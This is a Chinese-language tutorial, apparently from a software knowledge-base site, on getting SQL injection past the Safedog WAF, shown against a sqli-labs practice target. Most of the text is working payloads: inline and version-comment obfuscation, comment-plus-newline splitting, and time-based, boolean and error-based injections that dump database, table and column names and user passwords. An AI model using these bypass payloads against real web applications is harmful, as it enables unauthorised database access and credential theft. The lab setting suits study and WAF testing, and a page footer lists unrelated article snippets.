Sql注入bypass的示例分析

waf是如何防御的

waf是通过使用一组规则来区分正常请求和恶意请求的。例如:安全狗、云锁、D盾等。

绕过:既然是存在规则匹配,那么就可以想方法绕过规则匹配。比如常见的黑名单限制,黑名单模型使用预设

一、sql注入bypass

环境搭建

win7

phpstdy(mysql:5.7.0 php:5.3.29)

网站apache安全狗(4.0.28330.0)

sqlilabs靶场

绕过

将防护等级调到较高级:

Sql注入bypass的示例分析and 1=1 绕过

首先,尝试’ and 1=1和’ or 1=1

Sql注入bypass的示例分析Sql注入bypass的示例分析都会被防火墙拦截。 尝试替换and和or关键字:替换成&&, ||

Sql注入bypass的示例分析Sql注入bypass的示例分析

还是被狗拦截掉了。那么就要想办法把1=1入手,要么将1=1换掉,要么使用尝试内联注释。首先,含是使用and或者or,

将1=1改成负数-1=-1

Sql注入bypass的示例分析可以看到成功绕过,说明安全狗没有对负数进行检测。

接着尝试内联注释:

/*%"!*/and/*%"!*/1=1--+    --拦截/*%!%22/*/and/*%!%22/*/1=1--+  --不拦截

Sql注入bypass的示例分析

Sql注入bypass的示例分析

order by 绕过

就使用内联注释

/*%!%22/*/order/*%!%22/*/by+3--+   --不拦截order%23%0Aby 3--+         --不拦截,当发现%23注释之后,不会再去检查了,所以就利用单行注释和换行来绕过

Sql注入bypass的示例分析一般的安全狗对order by 查询中间添加一些无用的数据不会拦截。

union select 绕过

内联注入:

union /*!10440select*/ 1,2,3

Sql注入bypass的示例分析

当然也可以fuzz中间的版本号:0440 – 10449 11440-11449 12440-12449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 19440-19449都可以。

注:MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /! …/ 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 /50001/表示数据库版本>=5.00.01时中间的语句才会执行。

第二种方法:注释绕过

union %23%0aall select      ——union 注释+换行 all select(做出多次查询)

Sql注入bypass的示例分析

函数的注入

采用的办法内联注释:

union /*!10440select*/ 1,hex(user/**/()),3union /*!10440select*/ 1,hex(database/**/()),3union /*!10440select*/ 1,hex(@@version/**/()),3union /*!10440select*/ 1,hex(@@datadir),3

Sql注入bypass的示例分析

Sql注入bypass的示例分析另一种方法:

?/*&id=-1'union select 1,user(),3 --+*/

Sql注入bypass的示例分析

这里就是–+注释符把后面的/形成了一个完整的sql语句。

对于information_schema是没有进行检测的,所以只要保证前面的union和select绕过就可以。

1:

?id=-1'union /*!10440select*/ 1,group_concat(schema_name),3 from information_schema.schemata--+

Sql注入bypass的示例分析

2:

?/*&id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+*/

Sql注入bypass的示例分析

?/*&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+*/?/*&id=-1'union select 1,username,password from users where id='3'--+*/

那么通过这两种方法,就能得到数据库的表,列命和字段内容。

盲注

1.时间盲注:

利用方法:内联注释

?/*&id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+*/?/*&id=1%27%20and%20if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+*/?/*&id=1' and if(ascii(substr(database(/*!*/),1,1))=115,sleep(/*!3*/),1)--+*/?id=1' /*!10440and*/ if(ascii(substr(database/**/(),1,1))=115,sleep/**/(4),1)--+

Sql注入bypass的示例分析

Sql注入bypass的示例分析

利用方法:if 前面添加!~ –

?id=1' and !if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+?id=1' and ~if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+?id=1' and -if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+

Sql注入bypass的示例分析

bool盲注

盲注方法:内联注释

?id=1' /*!10440and*/length(database/**/())=8--+?/*&id=1' and left(database/**/(),1)='s'--+?/*&id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))=101--+?/*&id=1%27%20and%20ord(mid((select%20ifnull(cast(username%20as%20char),0x20)%20from%20security.users%20order%23%0Aby%20id%20limit%200,1),1,1))=68--+

Sql注入bypass的示例分析

Sql注入bypass的示例分析

Sql注入bypass的示例分析

Sql注入bypass的示例分析

报错注入

来绕过报错注入中常用的两个函数updatexml()和extractvalue()函数

利用方法:注释+换行。

?/*&id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(/*!10440select*/database/**/()),0x7e))--+?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(/*!10440select*/version()),0x7e))--+

Sql注入bypass的示例分析

Sql注入bypass的示例分析

爆表:

?/*&id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20group_concat(table_name)from%23%0ainformation_schema.tables%23%0awhere%20table_schema=%27security%27),0x7e))--+*/?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20group_concat(table_name)from%23%0ainformation_schema.tables%23%0awhere%20table_schema=0x7365637572697479),0x7e))--+

Sql注入bypass的示例分析

爆列名更上面的一样。那么爆字段内容不能直接select username from users limit 1而是在from后面再写一个注释换行。

?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20username%20from%23%0ausers%20limit%201),0x7e))--+

Sql注入bypass的示例分析

关于“Sql注入bypass的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

文章标题:Sql注入bypass的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/23053

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云
上一篇 2022年9月6日 上午12:03
下一篇 2022年9月6日 上午12:04

相关推荐

  • 2024年9款优质CRM系统全方位解析

    文章介绍的工具有:纷享销客、Zoho CRM、八百客、红圈通、简道云、简信CRM、Salesforce、HubSpot CRM、Apptivo。 在选择合适的CRM系统时,许多企业面临着功能繁多、选择困难的痛点。对于中小企业来说,找到一个既能提高客户关系管理效率,又能适应业务扩展的CRM系统尤为重要…

    2024年7月25日
    1600
  • 数据库权限关系图表是什么

    数据库权限关系图表是一种以图表形式展示数据库权限分配和管理的工具。它可以有效地帮助我们理解和管理数据库中的各种权限关系。数据库权限关系图表主要包含以下几个部分:数据对象、用户(或用户组)、权限类型、权限级别、权限状态等。其中,数据对象是权限关系图表中的核心元素,它代表了数据库中的各种数据资源,如表、…

    2024年7月22日
    200
  • 诚信数据库是什么意思

    诚信数据库是一种收集、存储和管理个人或组织诚信信息的系统。它是一种用于评估和管理个人或组织行为的工具,通常由政府、商业组织或者非营利组织进行运营。诚信数据库的主要功能包括:1、评估个人或组织的诚信状况;2、提供决策支持;3、预防和控制风险;4、促进社会信用体系建设。 在这四大功能中,评估个人或组织的…

    2024年7月22日
    400
  • 数据库期末关系代数是什么

    关系代数是一种对关系进行操作的代数系统,是关系模型的数学基础,主要用于从关系数据库中检索数据。其操作包括选择、投影、并集、差集、笛卡尔积、连接、除法等。其中,选择操作是对关系中的元组进行筛选,只保留满足某一条件的元组;投影操作则是从关系中选择出一部分属性构造一个新的关系。 一、选择操作 选择操作是关…

    2024年7月22日
    700
  • mysql建立数据库用什么命令

    在MySQL中,我们使用"CREATE DATABASE"命令来创建数据库。这是一个非常简单且基础的命令,其语法为:CREATE DATABASE 数据库名。在这个命令中,“CREATE DATABASE”是固定的,而“数据库名”则是你要创建的数据库的名称,可以自己设定。例如,如…

    2024年7月22日
    500
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部